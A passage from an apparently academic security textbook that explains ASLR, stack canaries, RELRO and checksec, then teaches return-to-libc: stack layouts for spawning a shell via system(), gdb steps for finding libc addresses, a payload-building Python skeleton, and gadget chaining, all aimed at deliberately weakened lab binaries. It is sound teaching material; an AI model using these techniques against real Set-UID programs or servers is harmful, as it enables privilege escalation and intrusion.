Going deeper. Shacham et al., “On the Effectiveness of Address-Space Randomization” (CCS 2004), attacked the PaX ASLR implementation on 32-bit Linux. With only 16 bits of randomness in the library base, a remote return-to-libc attack against Apache succeeded by brute force in a few minutes on average. Their conclusion — that ASLR on 32-bit platforms buys little against a patient attacker — is the main reason serious ASLR deployments rely on 64-bit address spaces.

2. Information leaks. Randomization is applied once per process, to the base of each region. The internal layout of a region is unchanged: the distance from the start of libc to system() is a constant determined by the libc binary. So if the attacker learns any single address inside libc — a return address left on the stack, a function pointer, a GOT entry — they can compute every other address in libc by adding a constant:

leaked printf address           0xf7e2d340   (read out of the process somehow)
- offset of printf in libc.so   0x00052340   (constant: read with  nm -D / readelf)
= libc base                     0xf7ddb000
+ offset of system in libc.so   0x00041360
= system                        0xf7e1c360

(The numbers are illustrative.) This is why modern exploits are usually two-stage: first an arbitrary read that leaks a pointer, then the actual control-flow hijack. Chapter 10 shows how a format-string bug provides exactly such a read.

6.5 Compiler: Stack Canaries (StackGuard)

The idea

NX and ASLR try to make a corrupted return address useless. A stack canary instead detects that the return address was corrupted, before the function uses it.

The observation behind it, due to Cowan et al.’s StackGuard (1998), is that a linear overflow like strcpy cannot skip bytes. To reach the return address from a buffer below it, the overflow must overwrite everything in between. So the compiler places a secret value — the canary, after the canaries miners carried to detect gas — between the local variables and the saved frame pointer and return address:

                     high address
          +----------------------+
          |  input (argument)    |  ebp+8
          +----------------------+
          |  return address      |  ebp+4    <- target of the attack
          +----------------------+
  %ebp -> |  saved %ebp          |
          +----------------------+
          |  canary              |  ebp-0xc  <- checked before `ret`
          +----------------------+
          |  (padding / saved    |
          |   registers)         |
          +----------------------+
          |  buf[SIZE]           |  <- overflow starts here, grows upward
  %esp -> +----------------------+
                     low address

At function entry the prologue copies the canary from a protected location onto the stack. Just before the function returns, the epilogue compares the stack copy with the original. If they differ, something has written over the stack frame, and the program aborts instead of executing ret:

*** stack smashing detected ***: terminated
Aborted (core dumped)

For the overflow to survive, the attacker would have to write the canary’s exact value back in the right place — which requires knowing a random value chosen at process startup.

What GCC actually emits

Compile the vulnerable function from Chapter 4 with the protector enabled and look at the assembly (32-bit):

vul:
    push   %ebp
    mov    %esp,%ebp
    push   %ebx
    sub    $0x54,%esp
    ...
    mov    %gs:0x14,%eax          # load the canary from thread-local storage
    mov    %eax,-0xc(%ebp)        # store it just below the saved registers
    xor    %eax,%eax              # don't leave the canary lying in a register
    ...                           #   ... the body, including strcpy ...
    mov    -0xc(%ebp),%eax        # reload the stack copy
    xor    %gs:0x14,%eax          # compare with the original (newer GCC: sub)
    je     .Lok
    call   __stack_chk_fail       # mismatch: abort, never returns
.Lok:
    mov    -0x4(%ebp),%ebx
    leave
    ret

Key details:

  • Where the reference value lives. The original canary is stored in thread-local storage, reached through a segment register: %gs:0x14 on 32-bit x86 and %fs:0x28 on x86-64. It is not on the stack, so a stack overflow cannot reach it.
  • Who picks it. The C library sets it once at process startup from randomness the kernel supplies (the AT_RANDOM auxiliary vector entry). It does not change during the life of the process — or across fork(), which matters below.
  • Its shape. glibc forces the lowest byte of the canary to 0x00. Because x86 is little-endian, that zero is the first canary byte an upward overflow reaches. A string-copy overflow (strcpy, gets, …) cannot write a zero byte in the middle of its payload, so it cannot reproduce the canary even if the attacker knows the remaining bytes. This idea of a canary that contains a string terminator is called a terminator canary; glibc combines it with randomness in the remaining bytes. It also means a string-printing bug cannot leak the canary by reading “past the end” of a buffer — the zero stops the print.
  • __stack_chk_fail. Prints the message above and aborts. Aborting, rather than trying to recover, is the fail-safe default from Chapter 1: once the stack is known to be corrupt, nothing in the frame can be trusted.

Which functions get a canary?

Checking costs two memory loads and a compare per protected call — cheap, but not zero, so GCC offers several levels:

FlagFunctions protected
-fno-stack-protectorNone. Used throughout Labs 2–3 and s2CTF so the overflow is exploitable.
-fstack-protectorFunctions with a char array of at least 8 bytes, or that call alloca.
-fstack-protector-strongAdditionally, functions with any local array, or a local whose address is taken. Ubuntu’s default.
-fstack-protector-allEvery function.

GCC adds a second, quieter protection along with the canary: it reorders locals so that character arrays sit directly below the canary, above scalar variables and pointers. An overflow of buf then runs into the canary rather than into a neighboring flag or function pointer. This is why, when you compile the s2CTF level-1 program with the protector, overflowing buf no longer changes flag — even before the canary check runs.

What canaries do not stop

A canary protects exactly one thing: the saved registers and return address above it, against linear overwrites, checked at return. Each qualification is a way around it.

  1. Corrupting data before the canary. Anything the overflow reaches before it reaches the canary is unprotected, and it is used before the check at ret. If a function pointer or a security-relevant flag lives between the buffer and the canary (in a struct, for example, where the compiler may not reorder fields), the attacker overwrites it and uses it immediately. Level 2 of s2CTF (fp() called right after strcpy) is this situation.
  2. Non-linear writes. An arbitrary-write primitive — a format string’s %n (Chapter 10), an attacker-controlled array index, a corrupted heap pointer — can write the return address directly without touching the canary.
  3. Leaking the canary. The canary is secret only as long as nothing reveals it. A format-string read (%x or %p walking up the stack) or an out-of-bounds read prints it, after which the overflow simply writes the correct value back in place.
  4. Brute force on forking servers. A server that fork()s a child per connection gives every child the same canary as the parent. If a crash only kills the child, the attacker can guess the canary one byte at a time: overflow by exactly one byte into the canary, try all 256 values, and the one that does not crash is correct. Four bytes on 32-bit (really three, since the low byte is known to be zero) cost at most a few hundred connections. Bittau et al.’s “Hacking Blind” (IEEE S&P 2014) used the same trick to read the canary and return addresses from a remote server with no binary available.
  5. Other memory. Canaries protect stack frames only. Heap overflows, use-after-free, and data-only attacks are untouched.

6.6 Two More Hardening Features: RELRO and FORTIFY_SOURCE

Two other defenses appear in every modern Linux binary and in checksec output, so you should recognize them.

RELRO (relocation read-only). Dynamically linked programs call library functions through the Global Offset Table (GOT), a table of function pointers that the dynamic linker fills in (Chapter 7 explains how). Because it is written at run time, the GOT is writable — which makes it a perfect target for an arbitrary-write primitive: overwrite the GOT entry for printf with the address of system, and the next printf(buf) becomes system(buf). RELRO limits that:

  • Partial RELRO (-Wl,-z,relro, the default) makes some linker-written sections read-only after startup, but leaves the GOT entries used for lazy binding writable.
  • Full RELRO (-Wl,-z,relro,-z,now) resolves all symbols at load time and then mprotects the entire GOT read-only. GOT overwrites become impossible, at the cost of slower startup.

FORTIFY_SOURCE. Compiling with optimization and -D_FORTIFY_SOURCE=2 (default on Ubuntu when optimizing) makes the compiler replace calls such as strcpy, memcpy, and sprintf with checking versions (__strcpy_chk, …) whenever it can determine the destination’s size at compile time. An overflow of a known-size buffer then aborts with *** buffer overflow detected ***. It also rejects %n in format strings that live in writable memory — a direct counter to Chapter 10’s attacks.

6.7 Checking a Binary: checksec

You do not need to read assembly to know which mitigations a binary has. The checksec tool, which ships with pwntools (pip3 install pwntools), reads the ELF headers and symbols and reports them:

$ checksec --file=./stack0x04          # or: pwn checksec ./stack0x04
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

Every line is a mitigation that is off — this is a deliberately weak training binary. Compare a program compiled with Ubuntu’s defaults:

$ gcc -m32 -o prog prog.c && checksec --file=./prog
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

The output above comes from flags. Here is the mapping from the s2CTF Makefile flags (https://github.com/sysec-uic/s2ctf-playground) to what they disable:

FlagEffectMitigation disabled
-z execstackMarks PT_GNU_STACK as RWENX on the stack
-fno-stack-protectorNo canaries, no local reorderingStack canaries
-no-pie -fno-picFixed load address 0x08048000, absolute addressingPIE (randomized code base)
-m3232-bit binary— (but low ASLR entropy, simpler calling convention)
-gDebug symbols— (just makes gdb friendlier)
sysctl kernel.randomize_va_space=0Not a compiler flag: system-wideASLR

When an exploit that “should” work does not, checksec and cat /proc/sys/kernel/randomize_va_space are the first two things to check.

6.8 Defense in Depth and the Arms Race

With all four mitigations enabled, a single stack overflow is far less dangerous than in 1996: the canary detects the linear overwrite, and even if it is bypassed, NX blocks injected code and ASLR hides the addresses of existing code. The attacker now needs several things to go right at once, which is exactly what defense in depth is supposed to achieve.

But notice the pattern in each “what it does not stop” section. Every mitigation targets one step of one technique, and attackers respond by changing technique:

  defense                      attacker response                         where
  -------------------------    --------------------------------------    -----------
  non-executable stack     ->  reuse code that is already executable     Chapter 7
  ASLR                     ->  leak one pointer, compute the rest;       Chapter 10
                               brute force on 32-bit
  stack canary             ->  leak the canary; write around it with     Chapter 10
                               an arbitrary-write primitive
  code reuse (ROP)         ->  restrict where indirect jumps may go      Chapter 8
                               (control-flow integrity)

None of these defenses fixes the root cause, which is that C lets a program write outside the bounds of an object. They are exploit mitigations, not bug fixes. The bug-fix side of the story — finding the bugs before attackers do, and writing code in languages where they cannot occur — is the subject of Chapter 9 and the Rust lab.

Check Your Understanding

1. Match each countermeasure to the step of the stack-smashing attack it breaks: (a) -fstack-protector, (b) NX, (c) ASLR, (d) replacing strcpy with a correct bounds check.

Answer

(d) breaks step 1, the overflow itself — the only one that removes the bug. (a) breaks step 2 by detecting that the return address region was overwritten before ret uses it. (c) breaks step 3: the attacker no longer knows the address of the shellcode or of library code. (b) breaks step 4: even if the CPU jumps to injected bytes on the stack, it refuses to execute them.

2. A student’s shellcode exploit for stack0x04 works in gdb but crashes with Segmentation fault when run from the shell. checksec shows NX disabled. What is the most likely cause, and how can they confirm it?

Answer

ASLR. gdb disables randomization for the programs it runs by default, so the stack address the student read in gdb is stable there but different in every normal run. They can confirm by checking cat /proc/sys/kernel/randomize_va_space (non-zero means ASLR is on), or by running set disable-randomization off in gdb and watching the stack address change between runs. (Smaller differences — a few dozen bytes — can also come from gdb adding environment variables such as LINES and COLUMNS; a NOP sled tolerates those.)

3. Why does a non-executable stack not prevent the attack in which the return address is overwritten with the address of system()?

Answer

NX only prevents instruction fetches from non-executable pages. In a return-to-libc attack the stack holds only data — addresses and an argument pointer — and the CPU executes system()’s instructions from libc’s code pages, which are executable by necessity. No byte on the stack is ever executed, so there is nothing for NX to stop.

4. On a 32-bit system with ASLR enabled, an attacker can run a vulnerable Set-UID program as often as they like. Why is ASLR a weak defense here, and how does the picture change on x86-64?

Answer

On 32-bit Linux the library base has only about 8 bits of randomness by default, so a fixed guess is correct roughly once in 256 runs; a shell loop rerunning the program finds the right layout in seconds. Each failed attempt only crashes one process, and nothing stops the attacker from trying again. On x86-64 the mmap base has 28 bits of randomness, so blind guessing would need on the order of 2^27 attempts on average, which is impractical — there the attacker needs an information leak instead.

5. glibc’s canary always has a zero low byte. Explain why that helps against strcpy-based overflows, and name an attack that the zero byte does not help against.

Answer

Because x86 is little-endian, the zero byte is the first canary byte an upward overflow writes. strcpy stops copying at the first zero in its source, so the attacker cannot write a zero there and continue on to the return address; the overflow either stops short of the return address or writes a non-zero byte into the canary and is detected. The zero byte also stops %s-style reads from printing past a buffer into the canary. It does not help against copies that are not string-based (memcpy, read, fread into a fixed buffer), which happily copy zero bytes; nor against attacks that leak the canary with a format string and then write it back with such a copy; nor against arbitrary writes that skip the canary entirely.

6. A function stores a function pointer fp in a struct right after a char name[32] field, copies user input into name with strcpy, and then calls fp(). The binary was compiled with -fstack-protector-strong. Is it exploitable? Why or why not?

Answer

Yes, very likely. GCC can reorder separate local variables, but it cannot reorder fields inside a struct, because the struct’s layout is fixed by the C language. The overflow from name therefore reaches fp before it reaches the canary, and fp() is called before the function returns — before the canary is ever checked. The canary would detect the corruption only at ret, which comes too late. NX and ASLR may still make it hard to choose a useful value for fp, but the canary does not help.

7. What is the difference between Partial and Full RELRO, and which attack does Full RELRO prevent?

Answer

Partial RELRO makes some relocation-related sections read-only after startup but leaves the GOT entries used for lazy binding writable, since the dynamic linker fills them in on first use. Full RELRO (-z now in addition to -z relro) resolves every symbol at load time and then makes the whole GOT read-only. It prevents GOT overwrites — using an arbitrary-write primitive to replace, say, the GOT entry of printf with the address of system so that a later library call is redirected.

Summary

  • Countermeasures can be applied by the developer (safer functions, bounds checks — but bounded functions have their own pitfalls), the compiler (stack canaries), the OS (ASLR), and the hardware (NX).
  • NX/DEP marks data pages non-executable, stopping injected shellcode. It is recorded per binary in PT_GNU_STACK (readelf -l, execstack, -z execstack). It does nothing against code reuse.
  • ASLR randomizes region base addresses at each execution (kernel.randomize_va_space). The main executable is randomized only if it is PIE. ASLR is weak on 32-bit (little entropy, brute force) and is defeated by a single information leak, since offsets within a region are fixed.
  • Stack canaries (StackGuard; -fstack-protector[-strong|-all]) place a random value — in glibc, with a zero low byte — below the saved registers and check it before ret. They do not protect data below the canary, non-linear writes, or a canary that has been leaked or brute-forced.
  • RELRO protects the GOT from overwrite; FORTIFY_SOURCE adds bounds checks to common library calls. checksec reports all of these at a glance.
  • Every mitigation blocks a technique, not the bug, which drives the arms race: NX → code reuse (Chapter 7); ASLR and canaries → information leaks (Chapter 10); code reuse → control-flow integrity (Chapter 8).

Connection to the Labs

  • Lab 2: Return-to-libc Attack begins with a “Setting up the environment” section that switches off ASLR and StackGuard but deliberately leaves the non-executable stack on. After this chapter you should be able to explain why each setting is needed — several of the lab’s understanding checks ask exactly that, including what would change if you re-enabled ASLR.
  • Lab 3: Format String and Reverse Shell also disables ASLR. Its “How the program is built” section uses the flags from Section 6.7; read its Makefile with the table above in hand.
  • The s2CTF playground binaries are compiled with every mitigation off. Try rebuilding one level at a time with a mitigation turned back on, and see which of your exploits stop working and why.

Further Reading

  • Crispin Cowan et al. “StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks.” 7th USENIX Security Symposium, 1998.
  • Hovav Shacham, Matthew Page, Ben Pfaff, Eu-Jin Goh, Nagendra Modadugu, and Dan Boneh. “On the Effectiveness of Address-Space Randomization.” ACM CCS, 2004.
  • Andrea Bittau, Adam Belay, Ali Mashtizadeh, David Mazières, and Dan Boneh. “Hacking Blind.” IEEE Symposium on Security and Privacy, 2014.
  • Eli Bendersky. “Position Independent Code (PIC) in shared libraries.” https://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries
  • The s2CTF playground and its Makefile: https://github.com/sysec-uic/s2ctf-playground

Chapter 7: Code-Reuse Attacks: Return-to-libc and ROP

Chapter 6 ended with a non-executable stack: the CPU refuses to execute anything on the stack, so the shellcode from Chapter 5 is dead on arrival. But the overflow is still there, and the attacker still controls the saved return address. The question this chapter asks is simple: if we cannot bring our own code, whose code can we use?

The answer is: the program’s own, and that of every library it loads. A typical process has megabytes of executable code mapped into its address space — the C library alone contains system(), execve(), mprotect(), and thousands of other functions. By pointing the return address at code that is already there, and laying out the stack so that code finds the arguments it expects, the attacker can make the program do their bidding without executing a single injected byte. We start with the simplest form, return-to-libc, and generalize it step by step into return-oriented programming (ROP), a technique powerful enough to perform arbitrary computation.

Learning objectives. After this chapter you should be able to:

  • Explain why code-reuse attacks defeat a non-executable stack.
  • Construct, on paper, the stack layout that makes a ret behave like a call to system("/bin/sh"), including a clean exit.
  • Find the addresses of libc functions and of the string "/bin/sh" in a process, and explain what makes those addresses shift.
  • Explain how the PLT and GOT implement dynamic linking, and why system@plt is a useful target.
  • Chain several library calls using stack-cleanup gadgets, and trace the chain step by step.
  • Explain what a ROP gadget is, why x86 code contains so many of them, and how tools such as ROPgadget find and assemble them.

7.1 Why Code Reuse?

Look at what the attacker actually needs. The shellcode in Chapter 5 did one thing: it invoked the execve system call with "/bin/sh" as its argument. The C library already contains functions that do that, and much more:

libc functionWhat it gives the attacker
system(const char *cmd)Runs /bin/sh -c cmd — any shell command.
execve / execv / execlRuns any program, with arguments of your choosing.
mprotect(addr, len, prot)Changes page permissions — e.g. makes the stack executable again.
exit(int status)Terminates the process quietly, leaving no crash behind.

libc is linked into almost every program — even a Python interpreter maps twenty-odd shared libraries — so these functions are present and executable in essentially every process. NX cannot mark them non-executable without breaking the program.

So instead of overwriting the return address with the address of injected code, we overwrite it with the address of existing code. This is return-to-libc (often abbreviated ret2libc), described publicly by Solar Designer in 1997, well before NX became widespread.

The attack still needs the same ingredients as before — a control-data overwrite and a known address — so the first two defenses from Chapter 6 still matter. Labs and examples in this chapter assume ASLR is disabled and no stack canary is present, and they focus on the one thing NX changes: we may only point at code, never supply it.

7.2 A ret Is Not a call

The difficulty is that we reach system() the wrong way. Functions expect to be called; we are going to return into them. To make that work, we must understand exactly what the stack looks like when a function begins.

What a normal call leaves behind

Consider an ordinary call:

int main(int argc, char *argv[]) {
    system("/bin/sh");
}

Under the 32-bit cdecl convention (Chapter 3), the caller pushes the argument, and then call pushes the return address and jumps:

   before `call system`                 at the first instruction of system()

        high address                          high address
   +--------------------+               +--------------------+
   |        ...         |               |        ...         |
   +--------------------+               +--------------------+
   | addr of "/bin/sh"  | <- %esp       | addr of "/bin/sh"  |  %esp+4: arg1
   +--------------------+               +--------------------+
                                        | saved return addr  |  <- %esp
                                        +--------------------+
        low address                           low address

call did two things: it pushed the address of the next instruction (the saved return address), and it set %eip to system. So from system’s point of view, at its first instruction:

  • [%esp] is its return address;
  • [%esp+4] is its first argument; [%esp+8] would be the second; and so on.

After system’s prologue runs push %ebp; mov %esp,%ebp, those become the familiar 8(%ebp) for the first argument and 4(%ebp) for the return address.

Faking the call frame with ret

Now look at the vulnerable function from s2CTF level 4:

#define SIZE 64
int vul(char *input)
{
    char buf[SIZE];
    strcpy(buf, input);
    return 0;
}

Its epilogue is leave; ret. leave restores %esp to the frame pointer and pops the saved %ebp; ret then pops the saved return address into %eip. At the moment ret executes, %esp points at the return-address slot. After ret, %esp has moved up by 4.

There is no call site for system("/bin/sh") anywhere in this program. But a ret site whose stack we control can pretend to be one. We overwrite the return address with &system, and arrange the slots above it so that, after the ret has popped &system, the stack looks exactly like the right-hand picture above:

   just before vul's `ret`                 just after `ret` (now inside system)

         high address                             high address
   +----------------------+               +----------------------+
   | addr of "/bin/sh"    | arg1          | addr of "/bin/sh"    | %esp+4: arg1
   +----------------------+               +----------------------+
   | placeholder          | (system's     | placeholder          | <- %esp: system's
   |                      |  return addr) |                      |    "return address"
   +----------------------+               +----------------------+
   | &system()            | <- %esp       | &system()            | (already popped)
   +----------------------+               +----------------------+
   | saved %ebp (junk)    |               | saved %ebp (junk)    |
   +----------------------+               +----------------------+
   | buf[64] (junk)       |               | buf[64] (junk)       |
   +----------------------+               +----------------------+
         low address                              low address

The essential trick: a ret site is not a call site, but if we put one extra word (a placeholder for the return address) between the function address and its arguments, system cannot tell the difference. The only thing missing compared to a real call is a meaningful return address — which is the next thing we fix.

Note. The saved %ebp gets clobbered by the overflow too. That does not matter here: system saves and restores %ebp itself and never relies on the caller’s value. It would matter if we returned somewhere that uses %ebp-relative addressing without setting %ebp first.

A clean exit

What should go in the placeholder? Whatever we put there is where system will return when the spawned shell exits. With junk (0xaaaaaaaa, say), the attack works — we get our shell — but when we leave the shell, system returns to 0xaaaaaaaa and the program crashes with a segmentation fault. A crash leaves traces: a core file, a log entry, an alert in a monitoring system.

The fix is to put the address of exit() there. Then system “returns” into exit, which terminates the process normally. From exit’s point of view, the stack slot above its “return address” is its argument, the exit status — which is why the slides show a 0 in that position:

         high address
   +----------------------+
   | 0x00000000           |  exit's argument (status)        -- optional
   +----------------------+
   | addr of "/bin/sh"    |  system's arg1 / exit's "return address"
   +----------------------+
   | &exit()              |  system's return address
   +----------------------+
   | &system()            |  overwrites vul's return address
   +----------------------+
   | saved %ebp (junk)    |
   +----------------------+
   | buf ... (junk)       |
         low address

Notice the overlap: the word holding &"/bin/sh" is simultaneously system’s first argument and exit’s return address (which exit never uses, since it does not return). And exit’s argument sits in the same position where system’s second argument would be. When we chain functions by returning from one into the next, their frames share stack words. That overlap is harmless for system → exit, but it is exactly what makes longer chains difficult, as Section 7.6 shows.

Note. A strcpy-based overflow cannot write the four zero bytes of the exit status — the copy stops at the first \x00. The status is just whatever happens to be in that slot, which is fine: the process still exits normally, only with an odd exit code.

7.3 Finding the Ingredients

The payload needs three addresses — system, exit, and the string "/bin/sh" — and one offset: the distance from the start of the buffer to the saved return address.

Library function addresses

With ASLR off, a library is loaded at the same address in every run, so we can read function addresses from the program under gdb. Two rules:

  1. Run the program first. Before the program starts, libc is not mapped at all; gdb only knows symbols from the executable. Break at main, run, then print.
  2. Use the real target binary. A Set-UID binary and a non-Set-UID copy of the same program may get different memory layouts (for example, because the loader treats privileged programs differently), so addresses must come from the binary you are attacking.
$ gdb -q ./stack0x04
pwndbg> break main
pwndbg> run
pwndbg> p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
pwndbg> p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>

(Example addresses only.) Alternatively, compute them from the library: vmmap in pwndbg (or info proc mappings) gives the libc base, and readelf -s or nm -D on the libc file gives each function’s offset. Base plus offset equals address — the same arithmetic that an ASLR info-leak exploit uses (Chapter 6).

The string "/bin/sh"

We need the string somewhere in memory and we need its address. Three common sources:

  • libc itself. system is implemented by running /bin/sh -c ..., so libc contains the string "/bin/sh". In pwndbg, search "/bin/sh" finds it; in plain gdb, find &system,+9999999,"/bin/sh" does the same. Offline, strings -a -t x /lib32/libc.so.6 | grep /bin/sh prints its offset in the file, which you add to the libc base.
  • An environment variable. Exported variables are copied onto the top of the stack of every program the shell starts. Export MYSHELL=/bin/sh, and a small helper program can print getenv("MYSHELL") — the address of the string "/bin/sh" just after the =.
  • The payload itself. Put the string in your input and point at the buffer. This works when you know the buffer’s address and the copy does not mangle the string.

The environment-variable approach has a subtle trap. At program start the top of the stack holds, from the top down, the strings of the environment and the arguments, including argv[0], the program’s name:

      high address
   +------------------------------+
   | "./prog"  (program name)     |  <- strings: the program path is near the top
   | "MYSHELL=/bin/sh"            |
   | "PATH=..." ...               |  environment strings
   | argv strings ...             |
   +------------------------------+
   | envp[] pointers, argv[]      |
   | pointers, argc               |
   +------------------------------+
   | main's frame ...             |
      low address

Everything is packed downward from the top, so anything that changes the length of the strings packed before MYSHELL moves it. In particular, a helper program whose name has a different length than the target’s sees the variable at a slightly different address. Lab 2 makes you discover and explain this; keep the picture above in mind when you do.

Try it. Write a helper that prints getenv("MYSHELL"). Copy it to names of length 4, 6, and 10, run each, and plot the reported address against the name length. What is the slope? Now do the same with an extra environment variable defined. Which way does the address move, and why?

The offset to the return address

This is the same problem as in Chapter 4: read the assembly, inspect the stack in gdb, or use a cyclic pattern (cyclic 100, then cyclic -l on the faulting %eip). Once you know the offset Y of the saved return address from the start of the buffer, the layout above fixes the others: exit’s address goes 4 bytes higher, and the "/bin/sh" pointer 8 bytes higher.

Assembling the payload

The instructor’s skeleton fills a buffer with non-zero filler and drops the three addresses at three offsets:

#!/usr/bin/env python3
import sys

content = bytearray(0xaa for i in range(300))   # non-zero filler: strcpy stops at \x00

X = 0
sh_addr = 0x00000000          # address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4, byteorder='little')

Y = 0
system_addr = 0x00000000      # address of system()
content[Y:Y+4] = (system_addr).to_bytes(4, byteorder='little')

Z = 0
exit_addr = 0x00000000        # address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4, byteorder='little')

sys.stdout.buffer.write(content)

Y is the return-address offset, Z is where system looks for its return address, and X is where system looks for its argument. Two practical details:

  • The filler is 0xaa, not zero, because strcpy would stop at the first zero. For the same reason, none of the addresses may contain a \x00 byte — a constraint that is easy to satisfy for 32-bit libc addresses like 0xf7e1.... but not, as we will see, on 64-bit.
  • Whatever lies beyond the last word you care about is irrelevant, but its bytes are still copied — harmless here, because nothing reads them.

system and privilege

If the target is a root-owned Set-UID program, system("/bin/sh") starts a shell that inherits the process’s effective UID — unless /bin/sh is dash (or bash), which drops privilege when it notices it is running Set-UID (Chapter 2). Two ways around that: point /bin/sh at a shell without the countermeasure (fine for a first experiment), or bypass system altogether and return into an exec-family function to run /bin/bash -p directly. The second requires building an argv array in memory — and the array must end in a NULL pointer, which strcpy cannot copy. Lab 2’s optional Task 4 is about solving exactly that problem.

7.4 Calling Through the PLT

So far we called system at its address inside libc. There is another way that matters in practice, and understanding it requires a short detour into dynamic linking.

When a dynamically linked program calls printf, the compiler does not know where libc will be loaded, so the call goes through two tables:

  • The Procedure Linkage Table (PLT) — a small stub per external function, inside the executable’s code: printf@plt, system@plt, …
  • The Global Offset Table (GOT) — a table of pointers, inside the executable’s data, one per external function. The PLT stub jumps through it.
   main:                          printf@plt:                     GOT
     ...                            jmp  *GOT[printf]  ------->   [printf] -----+
     call printf@plt  -------->     push $reloc_index               (initially   |
     ...                            jmp  PLT0 (resolver)             points back |
                                                                     into stub)  |
                                                                                 v
                                                                   libc: printf()

With lazy binding, the GOT entry initially points back into the PLT stub, which calls the dynamic linker’s resolver. The resolver looks up printf in libc, writes its real address into the GOT entry, and jumps there. Every later call goes straight from the stub through the GOT to libc. (Full RELRO, from Chapter 6, does all resolution at load time and then makes the GOT read-only.)

Two consequences for attackers:

  1. If the program itself calls system, it has a system@plt stub. In a non-PIE executable that stub sits at a fixed address in the program’s own code — even with ASLR randomizing libc. Returning to system@plt reaches the real system without knowing where libc is. The fake frame is identical to Section 7.2: [&system@plt][return address][arg].
  2. GOT entries are pointers to libc. Reading one (with an info leak) reveals the libc base; writing one (with an arbitrary write, if RELRO is not full) hijacks every later call to that function. Both tricks reappear in Chapter 10.

Find PLT entries with objdump -d prog | grep @plt, or plt in pwndbg.

7.5 Beyond system: Re-enabling Execution with mprotect

Return-to-libc is not limited to running a shell command. A particularly elegant use is to turn NX off for the attacker’s own buffer and then run ordinary shellcode.

int mprotect(void *addr, size_t len, int prot);

mprotect changes the permissions of the pages covering [addr, addr+len-1]. With prot = PROT_READ|PROT_WRITE|PROT_EXEC (= 7), the stack page holding our shellcode becomes executable. And we can choose mprotect’s return address to be the shellcode itself:

         high address
   +----------------------+
   | 7                    |  prot   = PROT_READ|PROT_WRITE|PROT_EXEC
   +----------------------+
   | len                  |  e.g. 0x1000 (one page)
   +----------------------+
   | page address         |  addr: the buffer's address rounded down to 4096
   +----------------------+
   | &shellcode           |  mprotect's return address -> jump into shellcode
   +----------------------+
   | &mprotect()          |  overwrites the saved return address
   +----------------------+
   | saved %ebp (junk)    |
   +----------------------+
   | buf: shellcode ...   |  becomes rwx after mprotect
         low address

When vul returns, mprotect runs with three arguments taken from the stack, makes the page executable, and then “returns” — straight into the shellcode. Two details make this harder than it looks: addr must be page-aligned (its low 12 bits zero), and the values 0x1000 and 7 contain zero bytes, which a strcpy overflow cannot write. Real exploits solve the latter by using a non-string copy, by placing the arguments somewhere else, or by computing them with gadgets (Section 7.7).

7.6 Chaining Calls and the Overlap Problem

Returning into one function and then exit was a chain of length two. Can we chain arbitrarily many calls? Let us try to call f(a) and then g(b, c).

Following the rule from Section 7.2 — each function finds its return address directly above its own address, and its arguments above that — we get:

         high address
   +----------------------+
   | c                    |  g's arg2
   +----------------------+
   | b                    |  g's arg1
   +----------------------+
   | a  (??)              |  f's arg1 -- AND g's return address
   +----------------------+
   | &g()                 |  f's return address
   +----------------------+
   | &f()                 |  <- %esp at vul's ret
   +----------------------+
         low address

When vul returns, %esp moves up 4 and f runs, finding its return address &g at [%esp] and its argument a at [%esp+4]. When f returns, %esp moves up 4 again and g runs — but now g’s “return address” is the word holding a, and its arguments start right after it. The two frames overlap: a must be both f’s argument and the address g returns to. For two calls we can sometimes live with that. For a third call we cannot, because g’s return address must be the address of the third function, which is also f’s argument. We would need a to equal &h. In general, chaining functions with arguments by plain returns fails after the first one.

The root problem is that a function’s ret advances %esp by only 4 bytes, leaving it pointing at the previous function’s arguments. We need something that moves %esp past those arguments before the next ret.

Stack-cleanup gadgets

Programs are full of instruction sequences that do just that — at the end of almost any function that saved callee-saved registers:

pop  %ebp; ret                       # skip 1 word
pop  %ebx; pop %ebp; ret             # skip 2 words
pop  %esi; pop %edi; pop %ebp; ret   # skip 3 words
add  $0x10,%esp; ret                 # skip 4 words (other immediates exist too)

Each is a short sequence ending in ret that adjusts %esp. We call such a sequence a gadget. If, instead of returning directly into the next function, each function returns into a gadget that pops exactly as many words as it has arguments, the gadget’s own ret then lands on the next function’s address. The overlap disappears.

Here is a chain that calls fun1(t), then fun2(u, v), then fun3(x, y, z):

         high address
   +--------------------+
   | z                  |
   +--------------------+
   | y                  |
   +--------------------+
   | x                  |  fun3's arguments
   +--------------------+
   | &(pop;pop;pop;ret) |  fun3's return address  (or the next link of the chain)
   +--------------------+
   | &fun3()            |
   +--------------------+
   | v                  |
   +--------------------+
   | u                  |  fun2's arguments
   +--------------------+
   | &(pop;pop;ret)     |  fun2's return address: e.g. pop %ebx; pop %ebp; ret
   +--------------------+
   | &fun2()            |
   +--------------------+
   | t                  |  fun1's argument
   +--------------------+
   | &(pop;ret)         |  fun1's return address: e.g. pop %ebp; ret
   +--------------------+
   | &fun1()            |  <- %esp just before vul's `ret`
   +--------------------+
         low address

Let us trace it step by step:

StepInstruction executingEffect%esp now points at
1vul’s ret%eip = &fun1; %esp += 4&(pop;ret) — fun1’s return address, with t above it
2fun1 runs, then its ret%eip = &(pop;ret); %esp += 4t
3pop %ebpdiscards t; %esp += 4&fun2
4ret (of the gadget)%eip = &fun2; %esp += 4&(pop;pop;ret) — fun2 sees u, v above it
5fun2 runs, then its ret%eip = &(pop;pop;ret); %esp += 4u
6pop %ebx; pop %ebp; retdiscards u, v; %eip = &fun3fun3’s return address, with x, y, z above it
7fun3 runs, then returns into its cleanup gadgetdiscards x, y, zwhatever comes next in the chain

Each gadget “lifts” %esp over the arguments of the function that just returned, and its trailing ret dispatches the next function. With gadgets of the right sizes, we can chain an arbitrary number of function calls with constant arguments, limited only by how much we can write onto the stack.

Note. The pop instructions load garbage into %ebp, %ebx, and so on. That is fine as long as nothing later depends on those registers holding meaningful values. Functions called by the chain set up their own frames.

7.7 Return-Oriented Programming

From function calls to gadgets

